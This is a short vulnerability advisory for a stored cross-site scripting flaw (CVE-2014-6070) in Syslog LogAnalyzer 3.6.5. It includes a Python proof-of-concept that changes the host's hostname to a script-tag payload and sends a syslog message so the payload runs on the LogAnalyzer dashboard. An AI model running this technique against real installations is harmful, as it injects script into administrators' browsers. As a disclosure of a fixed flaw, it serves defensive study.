Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting (Python Exploit)

Vulnerability title: Syslog LogAnalyzer 3.6.5 Stored XSS

Author: Dolev Farhi

Contact: dolevf at yahoo dot com  @dolevff

Application: LogAnalyzer 3.6.5

Date: 8.2.2014

Relevant CVEs: CVE-2014-6070

Vulnerable version: <= 3.6.5

Fixed version: 3.6.6



1. About the application

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LogAnalyzer is a web interface to syslog and other network event data. 

It provides easy browsing, analysis of realtime network events and 

reporting services.





2. Vulnerabilities Descriptions:

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It was found that an XSS injection is possible on a syslog server 

running LogAnalyzer version 3.6.5.

by changing the hostname of any entity logging to syslog server with 

LogAnalyzer to <script>alert("xss")</script>, and sending an arbitrary

syslog message, a client-side script injection execution is possible.





4. proof of concept exploit

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#!/usr/bin/python

# Exploit title = LogAnalyzer 3.5.6 Stored XSS injection

# Date: Sept 2014

# CVE: 2014-6070

# Tested on RHEL6.4



import os

import syslog



hostname = os.uname()[1]

payload = "\"<script>alert('XSS');</script>\""



print("+ Setting temporary hostname to " + payload + "...")

os.system("hostname " +  payload)



print("+ Injecting the syslog message...")

syslog.syslog("syslog xss injection")



print("+ Check LogAnalyzer dashboard...")



raw_input("+ Press [enter] to restore hostname...")

os.system("hostname " + "\""  +  hostname + "\"")



print("+ Hostname restored to " + hostname)